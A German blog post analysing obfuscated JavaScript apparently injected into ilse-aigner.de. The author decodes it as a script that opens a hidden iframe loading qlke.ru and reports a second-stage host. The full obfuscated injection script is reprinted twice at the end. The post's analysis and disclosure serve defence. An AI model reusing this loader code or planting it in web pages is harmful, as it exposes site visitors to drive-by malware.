Schadcode bei ilse-aigner.de?
Rainer fragte sich und die identi.caer (später auch die Blogleser), ob denn die Webseite von Ilse Aigner gehackt ist. Der erste Blick auf die Seite liess mich in der Tat erstaunen:
Ich habe die Firefox-Erweiterung NoScript aktiviert und die Browserweiche der Webseite wurde aktiv. Aber bereits hier war das Problem im HTML-Code zu sehen. Eine enorme Menge JavaScript. Im erweiterten Teil des Beitrages findet ihr den kompletten Schnippsel. Ich habe da nur an jedem Semikolon einen Umbruch eingebaut.
Innerhalb des JavaScript-Teiles werden diverse Variablen angelegt
und nie benutzt. Es gibt die merkwürdige Zeile eturn
’h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g,
’’);
und andere Nettigkeiten. Ich habe dann mal versucht, das
Puzzle sinnvoll wieder zusammen zu setzen. Nach meiner Meinung dient
der Code dazu, innerhalb der Webseite einen Bereich zu öffnen
(IFrame). Dort wird der Inhalt der Seite qlke.ru/index.html
geladen. Im nächsten Schritt wäre es also von Interesse, was in dieser
Datei steht.
Ich versuchte also zunächst ein GET /index.html
HTTP/1.1
bei der Seite und erhielt als Antwort:
HTTP/1.1 200 OK Server: nginx Date: Fri, 18 Jun 2010 13:00:01 GMT Content-Type: text/html Connection: close Last-Modified: Mon, 14 Jun 2010 15:01:58 GMT ETag: “a6600e-2881-488fec52d6580” Accept-Ranges: bytes Content-Length: 10369 Vary: Accept-Encoding 404 Not found
Wie man sieht, habe ich den Abruf heute gemacht. Leider habe ich den kompletten HTTP-Header nicht gespeichert. Insofern könnte der Teil ab Last-Modified vorher anders gewesen sein. Sehr markant finde ich, dass der Webserver meint, es sei alles in Ordnung (200 OK), währenddessen eine nicht gefundene Seite vorgespiegelt wird. Das kann natürlich ein Fehler in der Konfiguration sein. Viel wahrscheinlicher hielt ich das jedoch für einen Platzhalter, der später durch Schadcode ersetzt wird. Mittlerweile hat sich diese Vermutung wahrscheinlich bestätigt. Denn diese Seite enthält jetzt HTML und wieder JavaScript. Das lädt dann Code von der Seite http@//bijitersto@com/cgibin/index@php (Ich habe mal Doppelpunkt und Punkt durch @ ersetzt) nach. Firefox meldet diese Seite sofort als attackierende Seite. Also seit vorsichtig beim Betreten.
Der Server auf dem qlke.ru läuft, steht derzeit in Österreich. Die zweitgenannte Seite läuft derzeit auf einem Rechner in der Ukraine. Also insgesamt sieht das Ganze nicht unbedingt so aus, als ob das die Verbraucherschutzministerin ihren Besuchern anbieten will.
Ich frage mich, wie der Quellcode überhaupt auf die Seite von ilse-aigner.de gekommen ist. Hat da jemand den Rechner gehackt bzw. die Software, die die Webseiten ausliefert? Offensichtlich hatten die Besucher der Webseite von Ilse Aigner viel Glück. Denn die Angreifer hatten ihre Munition noch nicht an den Start gebracht. Ein erster Kontaktversuch zu den Betreibern der Webseite von Ilse Aigner lief leider ins Leere, da E-Mails an den Webmaster als unzustellbar zurückkamen. Ich werde eventuell Frau Aigner direkt um Stellungnahme bitten. Falls ich Rückmeldung erhalte, werde ich nochmal ein paar Zeilen dazu schreiben.
function hT(){};
this.xA=’’;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=’’;
return ‘h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ‘’);
var kY=“kY”;
this.eP=’’;
sY=“”;
},m : function() {this.gJ=“”;
var f=new Array();
function r(){};
var tB=false;
this.mP=“”;
q=“”;
var s=’replace’;
var gV=’’;
var a=function(){};
var tA=new Array();
var pU=’’;
var z=document;
this.pA=“pA”;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=“uW”;
this.iC=’’;
var eN=“eN”;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=“”;
sF=false;
dX=’’;
var gVN=1376;
var mJ = ‘sQegt@TgigmQe@oQu^t@’.qK(/[@\^g_Q]/g, ‘’);
iB=’’;
cF=false;
var i = ‘<Mh$tum^lM u>$<Yh^eMaYd$ u>^<u/^h^e$a$d$>^<ubYoud$yM u>$<u/Mb^o^d^yu>u<$/^h$tumYl$>M’.qK(/[M\$u\^Y]/g, ‘’);
this.aF=“aF”;
this.qC=“”;
this.kF=’’;
var jZ=’’;
var pN=new Date();
try {var sG=“”;
var hQ=“”;
this.v=false;
oM=“”;
var uQ=function(){};
var bO=new Date();
var sI = ‘b9oRdlyR’.qK(/[R9lSG]/g, ‘’);
this.hO=false;
var qU=new Array();
var sN = ‘sjt#yjl{eE’.qK(/[E#\{@j]/g, ‘’);
pM=“pM”;
yN=“yN”;
this.hI=false;
var j = ‘i~f_r6a1m6e&’.qK(/[&~1_6]/g, ‘’);
mA=12855;
function uF(){};
iM=false;
var e = ‘w{r~iWt{e~’.qK(/[~\{Wm\.]/g, ‘’);
var zJ=’’;
this.tS=false;
var k = ‘c(r(e5a(t5e(Eol(e:moe:n5t(’.qK(/[\(o\:N5]/g, ‘’);
this.n=’’;
var aD=function(){};
var qE=new Array();
kW=false;
var p = ‘sLr&cL’.qK(/[LRy/&]/g, ‘’);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=’’;
this.tM=“”;
this.eE=51540;
var xE = ‘s4e4t5AVt,t5r5i5b,uVtGe4’.qK(/[4V,5G]/g, ‘’);
var hG=new Array();
var mF=’’;
this.fG=“fG”;
var hV=function(){return ‘hV’};
var y = ‘hSiSdSdSexnS’.qK(/[SZx\>t]/g, ‘’);
var w=’’;
var cC=’’;
this.gE=“”;
sE=’’;
var jL = ‘vei5s[icbci+l[i[tey+’.qK(/[\+\[5ec]/g, ‘’);
var xS=’’;
this.oJ=“”;
var h = ‘a^pTp^eTnJd&C^h&i&l&dJ’.qK(/[J\^g&T]/g, ‘’);
this.uU=’’;
var aR=“aR”;
this.zQ=false;
function aJ(){};
var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=“lI”;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=“pB”;
var wV=function(){};
kQ=false;
var tSX=function(){return ‘tSX’};
kV[sN][jL] = y;
var jE=function(){return ‘jE’};
var tU=1024;
var cY=’’;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=’’;
function uM(){};
uV=62754;
jP=“”;
var xH=new Array();
z[sI][h](kV);
this.mE=“”;
var bK=function(){return ‘bK’};
var tC=“tC”;
var rU=new Date();
this.pT=’’;
var vD=“vD”;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=“”;
this.oU=false;
z.write(i);
this.kB=“kB”;
pW=’’;
var zC=“”;
qR=’’;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=’’;
function sS(){};
uT=’’;
rG=“rG”;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=“hA”;
this.eW=“eW”;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=’’;
function gMQ(){};
nI=52234;
this.cB=“cB”;
}};
this.lR=15709;
var bB=new hT();
var gC=’’;
bB.m();
mC=23088;
</script><script type=’text/javascript’>function hT(){};
this.xA=’’;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=’’;
return ‘h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ‘’);
var kY=“kY”;
this.eP=’’;
sY=“”;
},m : function() {this.gJ=“”;
var f=new Array();
function r(){};
var tB=false;
this.mP=“”;
q=“”;
var s=’replace’;
var gV=’’;
var a=function(){};
var tA=new Array();
var pU=’’;
var z=document;
this.pA=“pA”;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=“uW”;
this.iC=’’;
var eN=“eN”;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=“”;
sF=false;
dX=’’;
var gVN=1376;
var mJ = ‘sQegt@TgigmQe@oQu^t@’.qK(/[@\^g_Q]/g, ‘’);
iB=’’;
cF=false;
var i = ‘<Mh$tum^lM u>$<Yh^eMaYd$ u>^<u/^h^e$a$d$>^<ubYoud$yM u>$<u/Mb^o^d^yu>u<$/^h$tumYl$>M’.qK(/[M\$u\^Y]/g, ‘’);
this.aF=“aF”;
this.qC=“”;
this.kF=’’;
var jZ=’’;
var pN=new Date();
try {var sG=“”;
var hQ=“”;
this.v=false;
oM=“”;
var uQ=function(){};
var bO=new Date();
var sI = ‘b9oRdlyR’.qK(/[R9lSG]/g, ‘’);
this.hO=false;
var qU=new Array();
var sN = ‘sjt#yjl{eE’.qK(/[E#\{@j]/g, ‘’);
pM=“pM”;
yN=“yN”;
this.hI=false;
var j = ‘i~f_r6a1m6e&’.qK(/[&~1_6]/g, ‘’);
mA=12855;
function uF(){};
iM=false;
var e = ‘w{r~iWt{e~’.qK(/[~\{Wm\.]/g, ‘’);
var zJ=’’;
this.tS=false;
var k = ‘c(r(e5a(t5e(Eol(e:moe:n5t(’.qK(/[\(o\:N5]/g, ‘’);
this.n=’’;
var aD=function(){};
var qE=new Array();
kW=false;
var p = ‘sLr&cL’.qK(/[LRy/&]/g, ‘’);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=’’;
this.tM=“”;
this.eE=51540;
var xE = ‘s4e4t5AVt,t5r5i5b,uVtGe4’.qK(/[4V,5G]/g, ‘’);
var hG=new Array();
var mF=’’;
this.fG=“fG”;
var hV=function(){return ‘hV’};
var y = ‘hSiSdSdSexnS’.qK(/[SZx\>t]/g, ‘’);
var w=’’;
var cC=’’;
this.gE=“”;
sE=’’;
var jL = ‘vei5s[icbci+l[i[tey+’.qK(/[\+\[5ec]/g, ‘’);
var xS=’’;
this.oJ=“”;
var h = ‘a^pTp^eTnJd&C^h&i&l&dJ’.qK(/[J\^g&T]/g, ‘’);
this.uU=’’;
var aR=“aR”;
this.zQ=false;
function aJ(){};
var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=“lI”;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=“pB”;
var wV=function(){};
kQ=false;
var tSX=function(){return ‘tSX’};
kV[sN][jL] = y;
var jE=function(){return ‘jE’};
var tU=1024;
var cY=’’;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=’’;
function uM(){};
uV=62754;
jP=“”;
var xH=new Array();
z[sI][h](kV);
this.mE=“”;
var bK=function(){return ‘bK’};
var tC=“tC”;
var rU=new Date();
this.pT=’’;
var vD=“vD”;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=“”;
this.oU=false;
z.write(i);
this.kB=“kB”;
pW=’’;
var zC=“”;
qR=’’;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=’’;
function sS(){};
uT=’’;
rG=“rG”;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=“hA”;
this.eW=“eW”;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=’’;
function gMQ(){};
nI=52234;
this.cB=“cB”;
}};
this.lR=15709;
var bB=new hT();
var gC=’’;
bB.m();
mC=23088;
Comments
Display comments as Linear | Threaded
Jens Kubieziel on :